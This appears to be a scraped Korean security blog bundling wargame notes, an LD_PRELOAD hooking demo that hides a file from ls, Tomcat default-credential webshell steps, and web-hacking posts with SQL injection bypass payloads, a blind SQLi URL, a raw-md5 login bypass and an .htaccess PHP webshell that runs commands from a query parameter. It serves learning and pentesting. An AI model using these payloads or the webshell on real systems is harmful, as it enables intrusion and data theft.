'Web Hacking' 카테고리의 다른 글
XXE(Xml eXternal Entity) Attack (1) | 2015.02.27 |
---|---|
SQL Injection Cheat Sheet - MySQL (1) | 2014.09.25 |
Naver XSS 제보 (4) | 2014.03.14 |
lpad , conv 를 이용한 BlindSQL Injection (1) | 2014.02.11 |
.htaccess 를 활용한 웹쉘 업로드 및 기타 공격 (0) | 2014.02.09 |
KISA ActiveX 취약점 집중점검 후기
최근 8월 한달간 인터넷진흥원에서 실시한 ActiveX 취약점 집중 점검에 나도 참가했다.
물론 2012년부터 있던 취약점 신고포상 제도 였으나 집중이라는 단어로 인하여 이상한 홍보(?) 효과가 있던 것 같다.
(나도 마찬가지지만 -_-ㅋ)
어쨌든 2주 정도 집중해서 찾은 결과...대략 12개 정도의 제로데이를 찾아서 제보했다.
아직 패치가 되지 않았으니 공개할 순 없으나 향후 패치가 되고 나면 하나씩 분석 문서를 올리도록 하겠다.
[ 2015.1. 추가 ]
포상완료 후기
8월에 실시했고, 실제 입금은 9~10월 평가를 거쳐 10월 말 정도에 이루어 졌다. 총 접수된 건수가 100여건이고 실제 포상은
80건 정도가 됐다고 한다. 금액은 최대 500만이라곤 했으나 건당으로 그렇게 많이 주진 않았다. 총 12건 정도의 제보 중 3건은 타인이
먼저 제보해서 제외되었고 나머지 9건에 대해서 포상을 받았다.
그래도 충분한 용돈벌이 정도는 됐다. -_-ㅋ
결론 : 앞으로 취약점 제보는 키사에..
'My Exploit' 카테고리의 다른 글
그누보드 최신버전(5.1.13) SQL Injection 취약점 (2) | 2017.05.25 |
---|---|
Bug Hunting - AkelPad Heap Unicode BufferOverflow (2) | 2013.11.21 |
메신저 exploit 제작기 (3) | 2013.11.06 |
BOF 원정대 풀이(전체)
풀이 하면서 간략히 정리해둔 것입니다. 상세설명은 내마음대로 하고싶은 문제만 정리 (-_-ㅋ)
# bof 원정대 풀이
[BOF-BufferOverflow- 원정대란?] 비교적 쉬운 BOF 공략 환경인 Redhat 6.2에서부터 궁극의 Fedora 14까지 수십개의 레벨을 거쳐가며 BOF 시스템 해킹 실습을 하는 War-Game입니다. [접속 방법] BOF 원정대는 도메인이나 IP가 아닌, vmware 이미지 형태로 제공합니다. 따라서 각자의 PC에 워게임 서버를 가동하신 후 접속해 풀어나가는 방식입니다. [다운로드] 1. 다음 Vmware 이미지를 다운받아 부팅한다. http://work.hackerschool.org/DOWNLOAD/TheLordOfTheBOF/TheLordOfTheBOF_redhat.zip 2. gate/gate로 로그인한다. 3. netconfig 명령으로 네트워크 설정을 한다. (setuid 걸어 놨습니다) 4. ip를 확인한다. (/sbin/ifconfig) 5. putty, xshell등으로 터미널 접속하여 문제 풀이를 시작한다. (telnet) [기본 룰] 1. single boot 금지 2. root exploit 금지 3. /bin/my-pass 명령에 LD_PRELOAD 사용 금지 [레벨업 패스워드 확인] /bin/my-pass [전용 게시판] http://www.hackerschool.org/HS_Boards/zboard.php?id=bof_fellowship [몹 리스트] LEVEL1 (gate -> gremlin) : simple bof LEVEL2 (gremlin -> cobolt) : small buffer # hello bof world LEVEL3 (cobolt -> goblin) : small buffer + stdin LEVEL4 (goblin -> orc) : egghunter LEVEL5 (orc -> wolfman) : egghunter + bufferhunter LEVEL6 (wolfman -> darkelf) : check length of argv[1] + egghunter + bufferhunter LEVEL7 (darkelf -> orge) : check argv[0] LEVEL8 (orge -> troll) : check argc LEVEL9 (troll -> vampire) : check 0xbfff LEVEL10 (vampire -> skeleton) : argv hunter LEVEL11 (skeleton -> golem) : stack destroyer LEVEL12 (golem -> darkknight) : sfp LEVEL13 (darkknight -> bugbear) : RTL1 LEVEL14 (bugbear -> giant) : RTL2, only execve LEVEL15 (giant -> assassin) : no stack, no RTL LEVEL16 (assassin -> zombie_assassin) : fake ebp LEVEL17 (zombie_assassin -> succubus) : function calls LEVEL18 (succubus -> nightmare) : plt LEVEL19 (nightmare -> xavis) : fgets + destroyers LEVEL20 (xavis -> death_knight) : remote BOF |
level1 - simple bof
그냥 buf 크기만큼 a 채우고 sfp 4 바이트 채우고 ret 에 egg shell 주소 넣으면 끝
level2 - small bof
LEVEL3 (cobolt -> goblin) : small buffer + stdin
LEVEL4 (goblin -> orc) : egghunter
LEVEL5 (orc -> wolfman) : egghunter + bufferhunter]
LEVEL6 (wolfman -> darkelf) : check length of argv[1] + egghunter + bufferhunter
LEVEL7 (darkelf -> orge) : check argv[0]
LEVEL8 (orge -> troll) : check argc
LEVEL9 (troll -> vampire) : check 0xbfff
LEVEL10 (vampire -> skeleton) : argv hunter
LEVEL11 (skeleton -> golem) : stack destroyer
LEVEL12 (golem -> darkknight) : sfp
LEVEL13 (darkknight -> bugbear) : RTL1
LEVEL14 (bugbear -> giant) : RTL2, only execve
LEVEL15 (giant -> assassin) : no stack, no RTL
LD_PRELOAD 를 이용한 Hooking
# LD_PRELOAD 를 이용한 후킹
# LD_PRELOAD
프로세스 실행 과정 중 라이브러리를 로딩 할때, LD_PRELOAD 변수가 설정되어 있으면 해당 변수에 지정된
라이브러리를 먼저 로딩하고, 이중 libc 함수명과 동일한 함수가 있다면 해당 함수를 먼저 호출해 준다.
즉, 자동으로 후킹을 수행하도록 해준다는 말과 같다.
참고 - OS 별 PRELOAD 환경변수
Linux : LD_PRELOAD
AIX : LDR_PRELOAD
Solaris : LD_PRELOAD
FreeBSD : LD_PRELOAD
간단히 개념 정리를 위한 예제를 살펴보자.
$ ls
secuholic test1 test2 test3
ls 명령 수행 시 현재 디렉토리의 파일 목록이 보인다. 파일 중 secuholic 이 보이지 않도록 해 본다.
$ ltrace ls
...
strcpy(0x08058758, "test1") = 0x08058758
readdir64(0x08057720, 0x08057700, 0xbffffb84, 1, 0x0805777c) = 0x08057794
malloc(6) = 0x08058768
strcpy(0x08058768, "test2") = 0x08058768
readdir64(0x08057720, 0x08057700, 0xbffffb84, 1, 0x08057794) = 0x080577ac
malloc(6) = 0x08058778
strcpy(0x08058778, "test3") = 0x08058778
readdir64(0x08057720, 0x08057700, 0xbffffb84, 1, 0x080577ac) = 0x080577c4
malloc(10) = 0x08058788
strcpy(0x08058788, "secuholic") = 0x08058788
readdir64(0x08057720, 0x08057700, 0xbffffb84, 1, 0x080577c4) = 0x080577e0
malloc(7) = 0x08058798
...
secuholic test1 test2 test3
중간 문자열 처리 과정에서 strcpy 함수 호출 시 src 가 secuholic 인지 비교하여 참인 경우 변조를 하면 된다.
$ cat test.c
#include <stdio.h>
#include <string.h>
char *strcpy(char *dest, const char *src)
{
int i =0;
while (src[i] != '\0')
{
dest[i] = src[i];
i++;
}
dest[i] = '\0';
printf("[hooked] : strcpy(%x,\"%s\")\n",dest,src);
return &dest[0];
}
$ LD_PRELOAD=./hook.so ls
[hooked] : strcpy(8054a48,"xterm-redhat")
[hooked] : strcpy(8054c18,"xterm-xfree86")
[hooked] : strcpy(bffffa87,"46")
[hooked] : strcpy(8054a4c,"li#46")
[hooked] : strcpy(bffffa87,"98")
[hooked] : strcpy(8054c1c,"co#98")
[hooked] : strcpy(8054fa0,"no=00:fi=00:di=01;34:ln=")
[hooked] : strcpy(80549b8,".")
[hooked] : strcpy(80549c8,"test1")
[hooked] : strcpy(80549d8,"test2")
[hooked] : strcpy(80549e8,"test3")
[hooked] : strcpy(80549f8,"secuholic") // secuholic 문자열 복사
[hooked] : strcpy(8054b28,"test.c")
[hooked] : strcpy(8054b38,"hook.so")
hook.so secuholic test.c test1 test2 test3
이제 해당 부분을 수정해 보자.
$ cat test.c
#include
#include
char *strcpy(char *dest, const char *src)
{
int i =0;
if(strcmp(src,"secuholic")==0){
dest[i] = '\0';
return &dest[0]; // src가 secuholic 인 경우 바로 리턴
}
while (src[i] != '\0')
{
dest[i] = src[i];
i++;
}
dest[i] = '\0';
// printf("[hooked] : strcpy(%x,\"%s\")\n",dest,src);
return &dest[0];
}
$ gcc -shared -fPIC -o hook.so test.c
$ ls
hook.so secuholic test.c test1 test2 test3 // secuholic 존재
$ LD_PRELOAD=./hook.so ls
hook.so test.c test1 test2 test3 // secuholic 숨김
이렇게 간단히 후킹이 가능함을 확인해 보았다. LD_PRELOAD 는 setuid 가 걸려 있으면 동작하지 않으며, 타인의 프로세스에는 영향을
줄 수 없는 등 몇가지 제한 사항이 있으나, 쉽게 후킹이 가능하다는 점에서 유용하다 볼 수있겠다. :)
'Linux System Hacking' 카테고리의 다른 글
ARM-Thumb 모드 컴파일 옵션 (0) | 2016.02.23 |
---|---|
ARM Assembly 정리 - ARM 기본 개념 (0) | 2016.02.22 |
모의해킹을 편하게 해주는 유용한 취약점(1) - 톰캣 관리자 페이지를 이용한 웹쉘업로드
대부분의 WAS(JBOSS,톰캣 등) 은 관리(deploy, undeploy 등)를 편하게 하기 위한 관리자 페이지를 제공한다.
문제는 일반적으로 설치 계정을 그대로 사용하는 경우가 많다는 것이다. 대략적인 단계는 아래와 같다.
1) 기본 계정을 이용하여 WAS 관리자 페이지 접속
admin/공백
tomcat/tomcat
admin/manager
...
2) deploy 메뉴를 이용하여 웹쉘 업로드
3) 서버 쉘 권한 획득
4) local exploit 을 통한 root 획득
* 참고로 아래는 HPOM(HP Operation Manager) 모니터링 솔루션의 기본 계정 취약점이다.
ovwebusr / OvW*busr1 (http://www.security-database.com/detail.php?alert=CVE-2009-4189)
'Pentesting' 카테고리의 다른 글
kali 한글 및 apt-get 에러 해결방법 (0) | 2016.08.25 |
---|---|
모의해킹에서의 파워쉘 활용 (0) | 2016.02.27 |
msfpayload 백신 탐지 우회 (2) | 2016.02.25 |
Metasploit 개발을 위한 문서&사이트 (0) | 2012.09.02 |
공부용 프레임워크 & war game 사이트 (0) | 2012.09.02 |
Bug Hunting (1) - Exploitable 취약점 분류
# Bug Hunting (1) - Exploitable 취약점 분류
취약점에는 다양한 종류가 있다.
똑같은 crash 가 발생하더라도, 해당 버그는 Exploit 할수도, 불가능 할수도 있다.
여기서 Exploit 이라 함은 코드 실행 흐름을 변경하여 원하는 코드를 실행할 수 있는, 즉 Code Execution 이 가능한가이다.
간단한 설명과 함께 분류해 보았다.
1. Memory Corruption
- 대표적인 Exploit 유형으로, 주로 잘못된 함수 사용 등에 의해 발생
1.1. Stack Buffer Overflow
- 스택상의 메모리 영역을 침범하여 덮어쓰는 유형의 버그
- 공격기법 : Direct EIP Overwrite, SEH Overwrite, ECX one byte Overflow, RTL(Return To Library), Fake EBP, Fake ESP, ROP
- 방어기법 : Stack Guard, Stack Cookie, DEP/NX, ASLR
1.2. Heap Buffer Overflow
- 힙 메모리 영역을 침범하여 덮어쓰는 유형의 버그
- 공격기법 : VFT Overwrite(Virtual Function Table Overwrite), Function Pointer Overwrite
1.3. Format String Bug
- 포맷 스트링을 사용하지 않은 잘못된 함수 사용으로 인하여 %n 등으로 특정 주소값을 덮어씌우는 공격기법
- 공격기법 : dtors Ovewrite, Got Overwrite, RET Overwrite
1.4. Use-After-Free
- Free 로 해제된 객체, 포인터를 사용하는 경우 발생하는 버그로, 최근 많이 발견되는 유형 중 한가지이다.(특히 웹브라우저)
- 공격기법 : Heap Spray -> 정밀 Heap Spray, DEPS(엘리멘탈 속성 spray), JIT Spray 등
1.5. Double Free
- free() 로 이미 해제된 메모리를 한번 더 해제하려 할때 발생하는 버그
1.6. Integer Overflow
- 자료형마다의 경계값(최대,최소값) 차이점 등에 의해 발생하는 버그
'Bug Hunting' 카테고리의 다른 글
ActiveX 메소드 powershell 로 확인하기 (0) | 2017.05.25 |
---|---|
[집필 서적 안내] 윈도우 시스템 해킹 가이드 : 버그헌팅과 익스플로잇 (9) | 2016.01.13 |
Fuzzer 구현 시 First-chance Exception과 Second-chance Exception (0) | 2016.01.07 |
Naver XSS 제보
까페 관리 좀 하다가 실수로 입력한 " 에서 스크립트 오류가 발생하는 걸 보고...아무 생각없이 잠시 쳐다보다가
XSS 취약점을 발견했습니다. 뭐 어차피 찾기 쉬운 취약점이고 마음먹고 찾으면 수십개도 찾을 수 있는 취약점이라
그냥 둘까 했으나 착하게 제보해주기로 마음먹고 버그신고를 통해 눈에 보이는 몇개 제보했습니다.
(고치긴 하려나 궁금해서-_-ㅋ)
'Web Hacking' 카테고리의 다른 글
SQL Injection Cheat Sheet - MySQL (1) | 2014.09.25 |
---|---|
MySQL 4.0 환경에서의 SQL Injection (0) | 2014.09.24 |
lpad , conv 를 이용한 BlindSQL Injection (1) | 2014.02.11 |
.htaccess 를 활용한 웹쉘 업로드 및 기타 공격 (0) | 2014.02.09 |
mysql 우회 기법 정리 (0) | 2014.02.05 |
Secuholic Web Exploit Framework - Exploit Finder 베타버전
'My Tool' 카테고리의 다른 글
SeWEF - Secuholic Web Exploit Framework 제작기 (2) | 2013.04.26 |
---|
py2exe 사용법
간만에 py2exe 로 컴파일 하려다 보니 xp 스타일이 적용되지 않은 투박한 exe 를 뱉어내서
이것저것 옵션을 추가하며 반복되는 에러와 씨름하다가 결국 깔끔하게 만들었다.
헷갈리니까 나중을 위해 정리~!
# -*- coding: utf-8 -*- from distutils.core import setup import py2exe import glob manifest = """""" includes = [ "ExploitFinder", ] excludes = [ "pywin", "pywin.debugger", "pywin.debugger.dbgcon", "pywin.dialogs", "pywin.dialogs.list", "win32com.server", ] options = { "compressed": 1, "bundle_files" : 1, "excludes" : excludes, "dll_excludes": ["w9xpopen.exe","msvcp90.dll"] } setup( options = {"py2exe":options}, zipfile = None, windows = [{ 'script': "SecuWEF.py", 'other_resources': [(24,1,manifest)], "icon_resources": [(0,"main.ico")], }], data_files=[("images",glob.glob("img/*"))] )
'Programming' 카테고리의 다른 글
Terminal Code Highlight - pygmentize, highlight (0) | 2017.03.14 |
---|---|
python 을 이용한 bruteforcing (0) | 2016.07.28 |
lpad , conv 를 이용한 BlindSQL Injection
* ascii, char, between, and, or 등이 막혀 있을 경우나 기타 잘 알려진 함수들이 필터링 되는 경우 대체방법
으로 lpad 함수, conv 함수를 이용할수 있다. lpad 는 지정한 문자로 자릿수를 채워주는 역할을 하며, conv 함수는
진법 변환을 해준다.
인젝션을 많이 해본 사람은 이제 감이 올 것이다. 쿼리 결과를 1 또는 0으로 만드는 것이 BlindSQL Injection 의
핵심인데, conv('문자',16,2) 로 1과 0으로 이루어진 2진수로 만들고, lpad 로 8자리로 맞춰 주는 것이다.
결론적으로 'A' 를 아래와 같이 0과 1만으로 표현할 수 있다.
mysql> select lpad(conv(hex(substr('a',1,1)),16,2),8,0) from test where id='test';
+-------------------------------------------+
| lpad(conv(hex(substr('a',1,1)),16,2),8,0) |
+-------------------------------------------+
| 01100001 |
+-------------------------------------------+
# 비슷한 함수(테스트 필요)
MySQL : LPAD()
MSSQL : REPLICATE()
[출처] MSSQL에서 LPAD효과 내기|작성자 그루터기
# 공격 예
index.php?id+like+0x616425&&substr(lpad(conv(hex(substr(pw,1,1)),16,2),8,0),1,1)=0
'Web Hacking' 카테고리의 다른 글
MySQL 4.0 환경에서의 SQL Injection (0) | 2014.09.24 |
---|---|
Naver XSS 제보 (4) | 2014.03.14 |
.htaccess 를 활용한 웹쉘 업로드 및 기타 공격 (0) | 2014.02.09 |
mysql 우회 기법 정리 (0) | 2014.02.05 |
SQL Injection(MySQL) - procedure analyze() (2) | 2014.02.04 |
.htaccess 를 활용한 웹쉘 업로드 및 기타 공격
php 어플리케이션에서 .htaccess 를 이용하면 다양한 공격을 시도할 수 있다.
1) php 확장자가 아닌 다른 어떤 확장자로도 웹쉘 업로드가 가능해진다.(지정 가능)
AddType application/x-httpd-php .txt
위와 같은 .htaccess 를 먼저 업로드 후 webshell.txt 파일 업로드
2) htaccess 자체를 웹쉘로 사용
============================================
<Files ~ "^\.ht">
Order allow, deny
Allow from all
</Files>
interpreted
AddType application/x-httpd-php .htaccess
<?php
echo
"\n"
;
passthru
(
$_GET
[
'c'
].
" 2>&1"
); ?>
http://www.attack1234.co.kr/.htaccess?c=ls
============================================
출처 : http://www.justanotherhacker.com/2011/05/htaccess-based-attacks.html
3) php 엔진을 꺼버리면 php 소스를 모두 열람할수도 있다.
php_flag engine off
AddType text/plain php
4) 악성코드 페이지로 리다이렉트 등
'Web Hacking' 카테고리의 다른 글
Naver XSS 제보 (4) | 2014.03.14 |
---|---|
lpad , conv 를 이용한 BlindSQL Injection (1) | 2014.02.11 |
mysql 우회 기법 정리 (0) | 2014.02.05 |
SQL Injection(MySQL) - procedure analyze() (2) | 2014.02.04 |
magic_qoutes_gpc() 우회 / getenv() 로 값을 가져올때의 SQL Injection (0) | 2014.02.03 |
mysql 우회 기법 정리
# 공백 우회
- /**/
- %09, %0d, %0a
- select`id`from`user`
# ' 우회
- concat(char(49),char(50)) = '12'
- char(0x31,0x32,0x33) = '123'
- 0x41424344 = 'abcd'
- x'41424344' = 'abcd'
- true + true =2
- where '1'=0 / False Injection, 1=1 과 동일함
# 함수 정리
unix_timestamp() -> '135461123'
inet_ntoa(2108797737) -> '125.177.179.41'
# insert injection
"a1','a2','a3'), ('b1','b2','b3'), ('c1"
insert into test values ('a','b','c')
=
insert into test select 'a','b','c'
# 키워드 우회
substr('abc',1,1) == right(left('abc',1),1)
substr('abc',2,1) == right(left('abc',2),1)
등...(정리중)
'Web Hacking' 카테고리의 다른 글
lpad , conv 를 이용한 BlindSQL Injection (1) | 2014.02.11 |
---|---|
.htaccess 를 활용한 웹쉘 업로드 및 기타 공격 (0) | 2014.02.09 |
SQL Injection(MySQL) - procedure analyze() (2) | 2014.02.04 |
magic_qoutes_gpc() 우회 / getenv() 로 값을 가져올때의 SQL Injection (0) | 2014.02.03 |
md5 를 raw_input 으로 비교할 시 취약점 (0) | 2014.02.01 |
SQL Injection(MySQL) - procedure analyze()
MySQL 에서 발생할 수 있는 특이한 인젝션 기법을 알게 되어서 포스팅 합니다.
워게임 사이트 문제 풀다 알게 된 것이고...어느정도 웹해킹에 대해선 자신있어 했던게 부끄럽네요. ^^;
더욱 열심히 공부해야 겠습니다.
요지는 select 키워드가 필터링 될때, 어떻게 필드명을 알아낼 수 있을까 라는 것에 대한 것입니다.
select 가 필터링 되면 information_schema.tables 나 columns 에서 쿼리를 할 수 없습니다. 이 문제에선
","(콤마) 와 작은 따옴표까지 필터링 되고 있어서 더욱 쉽지 않습니다. 삽질을 좀 하다가 구글링을 통해
mysql 함수중 하나인 procedure analyze() 함수를 알게 되었습니다.
mysql> select id from test where no=1 procedure analyse();
+--------------+-----------+-----------+------------+------------+------------------+-----+
| Field_name | Min_value | Max_value | Min_length | Max_length | Empties_or_zeros | Nulls |
+--------------+-----------+-----------+------------+------------+------------------+-----+
| test.test.id | admin | admin | 5 | 5 | 0 | 0 |
+--------------+-----------+-----------+------------+------------+------------------+-----+
중요한 것은 테이블,필드명을 모른다고 해도 test.test.id 와 같은 형식으로 출력된 첫번째 필드명을 통해
테이블명을 알 수 있다는 것입니다.
mysql> select id from test where no=1 limit 0,1 procedure analyse(); // 첫째 필드
mysql> select id from test where no=1 limit 1,1 procedure analyse(); // 둘째 필드
mysql> select id from test where no=1 limit 2,1 procedure analyse(); // 셋째 필드
information_schema, union, select 등이 막힌 상황에서 유용할 듯 싶습니다. :)
'Web Hacking' 카테고리의 다른 글
.htaccess 를 활용한 웹쉘 업로드 및 기타 공격 (0) | 2014.02.09 |
---|---|
mysql 우회 기법 정리 (0) | 2014.02.05 |
magic_qoutes_gpc() 우회 / getenv() 로 값을 가져올때의 SQL Injection (0) | 2014.02.03 |
md5 를 raw_input 으로 비교할 시 취약점 (0) | 2014.02.01 |
필드명 sql injection (0) | 2014.02.01 |
magic_qoutes_gpc() 우회 / getenv() 로 값을 가져올때의 SQL Injection
다들 아시다시피 php 에는 특수문자 공격 방지를 위한 magic_qoutes_gpc() 기능이 존재합니다.
# 기본 인젝션 구문
test' or 'a'='a'--
# magic_qoutes_gpc() 적용 후
test\' or \'a\'=\'a\'--
위와같이 자동으로 '," 등에 \ 을 삽입하여 문자열로 인식시키기 때문에 일반적인 SQL Injection 을 쉽게 방어할
수 있게 됩니다. (%bf 우회 등 특수만 몇몇 경우 제외)
이 옵션이 켜져 있는 php 기반 웹사이트의 경우 인젝션을 성공시키기 어렵습니다.
주로 숫자필드를 찾아 char(), 0x 등으로 우회하게 되죠.
하지만 이 magic_qoutes_gpc() 가 동작하지 않는 경우가 있습니다. 정확히 말하면 동작하기 전이죠.
바로 getenv() 함수로 아파치 변수를 직접 가져올 때입니다. 아파치는 몇몇 주요 변수들을 직접 저장해서 php
에서 활용할 수 있도록 하고 있는데, 이런 경우 php 를 거치기 전이므로 \' 처리가 되기 전입니다.
# 취약 예제
$agent=getenv("HTTP_USER_AGENT");
$q=@mysql_query("insert into test values('$agent','$ip')")
이와 같은 경우 uger-agent 필드에 인젝션이 가능하게 됩니다. 또한 쿠키에도 해당 기능이 동작하지 않으므로 동일하게 인젝션
이 가능합니다.
'Web Hacking' 카테고리의 다른 글
mysql 우회 기법 정리 (0) | 2014.02.05 |
---|---|
SQL Injection(MySQL) - procedure analyze() (2) | 2014.02.04 |
md5 를 raw_input 으로 비교할 시 취약점 (0) | 2014.02.01 |
필드명 sql injection (0) | 2014.02.01 |
BlindSQL Injection 소스 (1) | 2014.02.01 |
ios app hacking - (1) ios app 의 구조
md5 를 raw_input 으로 비교할 시 취약점
md5 의 옵션중 raw_output 옵션이 있는데, 이 raw_output 을 이용하면 취약성이 존재한다.
아는 사람이야 다 알지만 특수한 경우이고 아직 잘 알려지진 않아서 대회 문제나 워게임 등에 종종 등장하기도 한다.
raw_output 옵션을 True 로 주면 md5 의 값이 hex 값이 아니라 binary 값으로 출력이 된다.
root@bt:~# python -c 'import hashlib;print hashlib.md5("123").hexdigest()'
202cb962ac59075b964b07152d234b70
위처럼 문자가 직접 출력이 되는데, 이와 같은 경우 패스워드 비교문에 raw_output 값을 true 로 주면 아래와 같은 취
약성이 발생한다. 아래와 같이 output 에 '=' 문자가 포함되는 경우 sql injection 이 가능해 진다.
root@bt:~# python -c 'import hashlib;print hashlib.md5("9235566").digest()'
���'='ә�0�����
로그인 쿼리문 : select * from user where id=입력값 and password=입력값
취약점을 악용한 쿼리문 : select * from user where id='admin' and password='���'='ә�0��'
password='abc'='def' 으로 false injection 이 되어 1=1 과 동일한 결과값이 출력된다.
'Web Hacking' 카테고리의 다른 글
SQL Injection(MySQL) - procedure analyze() (2) | 2014.02.04 |
---|---|
magic_qoutes_gpc() 우회 / getenv() 로 값을 가져올때의 SQL Injection (0) | 2014.02.03 |
필드명 sql injection (0) | 2014.02.01 |
BlindSQL Injection 소스 (1) | 2014.02.01 |
Burp proxy error: java.security.cert.CertificateException 오류 해결방법 (0) | 2013.07.09 |